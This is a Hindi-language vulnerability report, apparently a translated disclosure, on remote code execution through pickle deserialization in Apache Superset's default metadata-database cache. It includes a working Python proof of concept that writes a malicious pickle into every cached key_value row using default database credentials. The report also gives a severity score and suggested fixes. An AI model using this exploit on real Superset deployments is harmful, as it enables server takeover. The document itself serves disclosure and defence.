
पिकल का उपयोग करके सुपरसेट के डिफ़ॉल्ट कैश पर शोषण
[ लेखक ] Dinis Cruz
[ परियोजना ] Superset
Apache का Superset कैशिंग के लिए विभिन्न विकल्प प्रस्तुत करता है, ये सभी Flask-Caching पर आधारित हैं। एक अंतर्निहित कैश प्रदान किया जाता है जो बाद में पुनर्प्राप्ति के लिए मानों को क्रमबद्ध (serialize) करता है। यह क्रमांकन और पुनर्प्राप्ति Pickle का उपयोग करके किया जाता है, जो पायथन ऑब्जेक्ट्स के डी-सीरियलाइज़ेशन और इस प्रकार कोड के निष्पादन की अनुमति देता है।
अंतर्निहित कैश मेटाडेटा डेटाबेस के भीतर जानकारी लिखता है, जिसका अर्थ है कि इस डेटाबेस तक पहुंच रखने वाला हमलावर अपने विशेषाधिकारों को बढ़ा सकता है और सुपरसेट की सेवा देने वाली मशीन/कंटेनर तक दूरस्थ पहुंच प्राप्त कर सकता है।
MetaStoreCache वर्ग, जो सूचना के क्रमांकन के लिए PickleKeyValueCodec वर्ग का उपयोग करता है।
यह मुद्दा पहले एक साफ सुपरसेट इंस्टॉल बनाकर दोहराया गया था जो डिफ़ॉल्ट रूप से अंतर्निहित कैश का उपयोग करेगा।
पहले से स्थापित ज्ञान के साथ कि इस मुद्दे का शोषण करने के लिए डेटाबेस तक पहुंच आवश्यक है। हम पिकल शोषण के साथ सभी कैश किए गए मानों के मानों को अपडेट कर सकते हैं। बाद में, एक बार मान उपयोगकर्ता को वापस परोसा जाता है, तो पिकल मॉड्यूल डेटा को क्रमबद्ध करेगा और हमारा कोड निष्पादित करेगा। एक पायथन PoC नीचे पाया जा सकता है।
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
यह स्क्रिप्ट डेटाबेस के भीतर कैश किए गए सभी मानों को अपडेट करती है, और एक बार डेटा उपयोगकर्ता को वापस परोसा जाता है, तो प्रदर्शन उद्देश्यों के लिए /tmp निर्देशिका के भीतर एक evil.sh फ़ाइल बनाई जाती है।
सभी उपयोगकर्ता प्रभावित हो सकते हैं।
स्कोर: 9.1
जबकि सुधार सुपरसेट टीम पर निर्भर है। बड़ी समस्या डेटा क्रमांकन के लिए पिकल के उपयोग पर निर्भर करती है। जहां तक मैं कमिट #23888 से समझता हूं, अन्य घटकों से पिकल क्रमांकन को हटाने के लिए एक बदलाव किया गया था, लेकिन इसे बनाए रखा गया क्योंकि "मनमाने बाइनरी प्रकारों को संभालने" की आवश्यकता थी। सबसे साफ समाधान किसी अन्य क्रमांकन तंत्र पर स्विच करना होगा, हालांकि कोई एक प्रतिबंधित unpickler लागू कर सकता है जो एक निश्चित समाधान नहीं है लेकिन इसे लागू करने में संभवतः कम काम की आवश्यकता होगी।
सुपरसेट इंस्टॉलेशन द्वारा उपयोग किए जा रहे मेटाडेटा डेटाबेस तक पहुंच।
कोई विशेष सेटअप नहीं, केवल पेलोड उत्पन्न करने के लिए एक पायथन इंटरप्रेटर, दुर्भावनापूर्ण पेलोड का डेटाबेस में परिचय विभिन्न तरीकों से किया जा सकता है।